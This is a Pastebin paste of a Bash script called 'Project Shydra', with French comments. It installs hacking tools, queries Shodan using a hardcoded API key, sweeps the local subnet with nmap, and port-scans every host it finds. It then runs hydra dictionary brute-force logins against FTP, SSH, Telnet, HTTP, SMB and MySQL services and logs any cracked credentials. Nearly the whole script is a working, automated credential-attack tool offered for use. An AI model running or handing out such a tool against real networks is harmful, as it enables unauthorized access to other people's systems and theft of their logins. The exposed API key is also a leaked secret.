xunilix

Shydra

Jan 25th, 2017
7,992
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 9.50 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. red=`tput setaf 1`
  4. green=`tput setaf 2`
  5. yellow=`tput setaf 3`
  6. blue=`tput setaf 4`
  7. magenta=`tput setaf 5`
  8. cyan=`tput setaf 6`
  9. reset=`tput sgr0`
  10.  
  11. echo "${green}  _____           _           _      _____ _               _           "
  12. echo " |  __ \         (_)         | |    / ____| |             | |          "
  13. echo " | |__) | __ ___  _  ___  ___| |_  | (___ | |__  _   _  __| |_ __ ____ "
  14. echo " |  ___/ _ _/ _ \| |/ _ \/ __| __|  \___ \|  _ \| | | |/ _  |  __/ _  |"
  15. echo " | |   | | | (_) | |  __/ (__| |_   ____) | | | | |_| | (_| | | | (_| |"
  16. echo " |_|   |_|  \___/| |\___|\___|\__| |_____/|_| |_|\___ |\____|_|  \____|"
  17. echo "                _/ |                              __/ |                "
  18. echo "               |__/                              |___/        ${reset} "
  19.  
  20. printf "\n \n \n"
  21.  
  22.  
  23. ################
  24. #Initiliastion de variable inutile pour la suite du script
  25. ################
  26. ip=$(ifconfig eth0| grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}')
  27. #masque=$(ifconfig eth0| grep 'inet addr:' | cut -d: -f4 | awk '{ print $1}')
  28. cable=$(cat /sys/class/net/eth0/carrier)
  29. #mac=$(cat /sys/class/net/eth0/address)
  30.  
  31.  
  32. ###############
  33. #FONCTION LOADING
  34. ###############
  35. spinner()
  36. {
  37.     local pid=$!
  38.     local delay=0.75
  39.     local spinstr='...'
  40.     echo "${cyan}Installation..${reset} "
  41.     while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
  42.         local temp=${spinstr#?}
  43.         printf "%s  " "$spinstr"
  44.         local spinstr=$temp${spinstr%"$temp"}
  45.         sleep $delay
  46.         printf "\b\b\b"
  47.     done
  48.     printf "    \b\b\b\b"
  49.     printf "\n"
  50. }
  51.  
  52. spinner2()
  53. {
  54.     local pid=$!
  55.     local delay=0.75
  56.     local spinstr='...'
  57.     while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
  58.         local temp=${spinstr#?}
  59.         printf "%s  " "$spinstr"
  60.         local spinstr=$temp${spinstr%"$temp"}
  61.         sleep $delay
  62.         printf "\b\b\b"
  63.     done
  64.     printf "    \b\b\b\b"
  65.     printf "\n"
  66. }
  67.  
  68.  
  69. #################
  70. #Suppresion des fichiers restant avant de les recréer lors du nmap
  71. #################
  72. if [[ (-f TXT/id.txt) || (-f TXT/info_mac.txt) ]]
  73. then
  74.         rm -rf TXT/id.txt
  75.         rm -rf TXT/info_mac.txt
  76. fi
  77.  
  78.  
  79. ################
  80. #INSTALLER HYDRA
  81. ################
  82. dpkg-query -W -f='${Status} ${Version}' hydra > /dev/null 2>&1
  83. rc=$?
  84.  
  85.  
  86. if [ $rc != 0 ]
  87. then
  88.         echo "${blue}INSTALLATION D'HYDRA${reset}"
  89.  
  90.  
  91.         apt-get update -qq -y && apt-get install apt-transport-https hydra -y > /dev/null 2>&1 & spinner
  92.         #apt-get install apt-transport-https -qq -y & spinner
  93.         #apt-get install hydra -qq  -y & spinner
  94.  
  95. fi
  96.  
  97.  
  98. ################
  99. #INSTALLER NMAP
  100. ################
  101.  
  102.  
  103. dpkg-query -W -f='${Status} ${Version}' nmap > /dev/null 2>&1
  104. rc=$?
  105.  
  106.  
  107. if [ $rc != 0 ]
  108.  
  109. then
  110.         echo "${blue}INSTALLATION DE NMAP${reset}"
  111.         #i=0
  112.         #sp='/-\|'
  113.         #n=${#sp}
  114.         #printf ' '
  115.         #while true; do
  116.         #        printf '\b%s' "${sp:i++%n:1}"
  117.         #done
  118.  
  119.         apt-get install nmap -qq -y > /dev/null 2>&1 & spinner
  120. fi
  121.  
  122. ################
  123. #INSTALLER IPCALC
  124. ################
  125. dpkg-query -W -f='${Status} ${Version}' ipcalc > /dev/null 2>&1
  126. rc=$?
  127.  
  128.  
  129. if [ $rc != 0 ]
  130.  
  131.  
  132. then
  133.         echo "${blue}INSTALLATION D'IPCALC${reset}"
  134.         #i=0
  135.         #sp='/-\|'
  136.         #n=${#sp}
  137.         #printf ' '
  138.         #while true; do
  139.         #       printf '\b%s' "${sp:i++%n:1}"
  140.         #done
  141.  
  142.         apt-get install ipcalc -qq  -y > /dev/null 2>&1 & spinner
  143. fi
  144.  
  145. ################
  146. #INSTALLATION CURL
  147. ###############
  148.  
  149. curl=$(dpkg-query -W -f='${Status}\n' curl | awk '{print $1}')
  150.  
  151. if [ $curl != "install" ]
  152.  
  153. then
  154.         echo "${blue}INSTALLATION DE CURL${reset}"
  155.         #i=0
  156.         #sp='/-\|'
  157.         #n=${#sp}
  158.         #printf ' '
  159.         #while true; do
  160.         #       printf '\b%s' "${sp:i++%n:1}"
  161.         #done
  162.  
  163.         apt-get install curl -qq  -y > /dev/null 2>&1 & spinner
  164. fi
  165.  
  166.  
  167.  
  168. ################
  169. #INSTALLATION SHODAN
  170. ################
  171.  
  172.  
  173. pythontools=$(dpkg-query -W -f='${Status}\n' python-setuptools | awk '{print $1}')
  174.  
  175. if [ $pythontools != "install" ]
  176.  
  177. then
  178.         echo "${blue}INSTALLATION DE SHODAN${reset}"
  179.         #i=0
  180.         #sp='/-\|'
  181.         #n=${#sp}
  182.         #printf ' '
  183.         #while true; do
  184.         #       printf '\b%s' "${sp:i++%n:1}"
  185.         #done
  186.  
  187.         apt-get install python-setuptools -qq  -y > /dev/null 2>&1 & spinner
  188. fi
  189.  
  190. dpkg-query -W -f='${Status} ${Version}' python-livestreamer > /dev/null 2>&1
  191. rc=$?
  192.  
  193.  
  194. if [ $rc != 0 ]
  195. then
  196.         #i=0
  197.         #sp='/-\|'
  198.         #n=${#sp}
  199.         #printf ' '
  200.         #while true; do
  201.         #       printf '\b%s' "${sp:i++%n:1}"
  202.         #done
  203.  
  204.         apt-get install python-livestreamer -qq  -y > /dev/null 2>&1 & spinner2
  205. fi
  206.  
  207. #installation double nécessaire
  208.  
  209. easy_install shodan > /dev/null 2>&1
  210. easy_install shodan > /dev/null 2>&1
  211.  
  212. ################
  213. #SHODAN
  214. ################
  215.  
  216. echo "${green}Lancement de la recherche sur Shodan${reset}"
  217. printf "\n"
  218. shodan init eMI8dby7ouQ6mopitJleurz65KWJjqH7
  219. ip_publique=$(dig +short myip.opendns.com @resolver1.opendns.com)
  220. shodan host $ip_publique
  221.  
  222.  
  223.  
  224. #if [ "1"  = "1" ]
  225. #then
  226. ifconfig | awk -F " *" '
  227.  
  228. # Each interface definition ends with an empty line,
  229. # even the last one. When an empty line is found we
  230. # print the results.
  231. $0 == "" {
  232.  print iface" "mac" "ip" "masque
  233.  iface = mac = ip = masque = "?"
  234.  next
  235. }
  236.  
  237.  
  238. ################
  239. #On récupère les valeurs qui nous intéresse (ip, masque, réseau, MAC)
  240. ################
  241.  
  242. $1 !~ /^ *$/   { iface = $1 }
  243. $2 ~ /^inet$/  { split( $3, a_res, ":" ); ip     = a_res[2] }
  244. $4 ~ /^Mask:/  { split( $4, a_res, ":" ); masque = a_res[2] }
  245. $5 ~ /^Mask:/  { split( $5, a_res, ":" ); masque = a_res[2] }
  246. $4 == "HWaddr" { mac = $5 }
  247.  
  248. ' | while read iface mac ip masque
  249. do
  250.   # ipcalc gets network address and CIDR notation
  251.   net=$( ipcalc -bn $ip"/"$masque | awk -F " *" '/Network:/ { print $2 }' )
  252.  
  253. # print each line
  254. echo  $iface $ip  $net | grep eth0
  255.  
  256.  
  257. ################
  258. #NMAP
  259. ###############
  260. printf "\n"
  261. echo "${red}Scan du réseau en cours${reset}"
  262. if [ -d "TXT" ]; then
  263.         NMAP=$(nmap -T5 -sP -n --exclude $ip $net | grep 'Nmap scan report for\|MAC Address' > TXT/nmap.txt )
  264.         MAC=$(cat TXT/nmap.txt | grep 'MAC' | cut -c14-30 > TXT/list_mac.txt)
  265.         macaddr=$(cat TXT/nmap.txt | grep 'MAC' | cut -c14-30)
  266.         IP=$(cat TXT/nmap.txt | grep 'Nmap scan report for' | cut -c22- > TXT/list_ip.txt)
  267.         FILE=$(paste -d '-' TXT/list_ip.txt TXT/list_mac.txt > TXT/list_host.txt)
  268.         echo -e "${yellow} MAC Addresses : \n $macaddr ${reset}"
  269.         echo "${red}Fin du scan${reset}"
  270. else
  271.         mkdir TXT
  272.         NMAP=$(nmap -T5 -sP -n --exclude $ip $net | grep 'Nmap scan report for\|MAC Address' > TXT/nmap.txt )
  273.         MAC=$(cat TXT/nmap.txt | grep 'MAC' | cut -c14-30 > TXT/list_mac.txt)
  274.         IP=$(cat TXT/nmap.txt | grep 'Nmap scan report for' | cut -c22- > TXT/list_ip.txt)
  275.         FILE=$(paste -d '-' TXT/list_ip.txt TXT/list_mac.txt > TXT/list_host.txt)
  276.         echo "{$yellow} MAC Addresses : $macaddr ${reset}"
  277.         echo "${red}Fin du scan${reset}"
  278. fi
  279. printf "\n"
  280. echo "${magenta}Vous trouverez les résultats dans le dossier /home/$USER/TXT/list_host.txt${reset}"
  281. echo "${yellow}MACVENDORS - informations constructeurs -${reset}"
  282. printf "\n"
  283. echo "${green}Lancement d'Hydra ${reset}"
  284. printf "\n"
  285.  
  286. for mac in $(cat TXT/list_mac.txt)
  287.         do
  288.                 curl 'http://api.macvendors.com/'$mac > /dev/null 2>&1  >> TXT/info_mac.txt
  289.                 echo " " >> TXT/info_mac.txt
  290. done
  291. cat TXT/info_mac.txt
  292.  
  293. for adress in $(cat TXT/list_ip.txt)
  294. do
  295.         nmap $adress > TXT/nmap_detail.txt
  296.         cat TXT/nmap_detail.txt | grep open | cut -d/ -f1 > TXT/list_port.txt
  297.         for port in $(cat TXT/list_port.txt)
  298.         do
  299.                 case $port in
  300.                         21)
  301.                                 protocol="ftp"
  302.                                 hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol -t 4 >> TXT/id.txt
  303.                                 ;;
  304.                         22)
  305.                                 protocol="ssh"
  306.                                 hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol -t 4 >> TXT/id.txt
  307.                                 ;;
  308.                         23)
  309.                                 protocol="telnet"
  310.                                 hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol -t 4 >> TXT/id.txt
  311.                                 ;;
  312.                         80|8080|8081|9091)
  313.                                 protocol="http"
  314.                                 hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol >> TXT/id.txt
  315.                                 ;;
  316.                         445)
  317.                                 protocol="smb"
  318.                                 hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol >> TXT/id.txt
  319.                                 ;;
  320.                         3306)
  321.                                 protocol="mysql"
  322.                                 hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol -t 4 >> TXT/id.txt
  323.                                 ;;
  324.                        # 9987)
  325.                        #         protocol="teamspeak"
  326.                        #         hydra -L DICO/user.txt -P DICO/password.txt $adress $protocol >> TXT/id.txt
  327.                        #         ;;
  328.                 esac
  329.         done
  330. done
  331.  
  332. cat TXT/id.txt | grep "host" > TXT/result.txt
  333.  
  334. exit 1
  335. done
  336. cat TXT/result.txt
Advertisement
Add Comment
Please, Sign In to add comment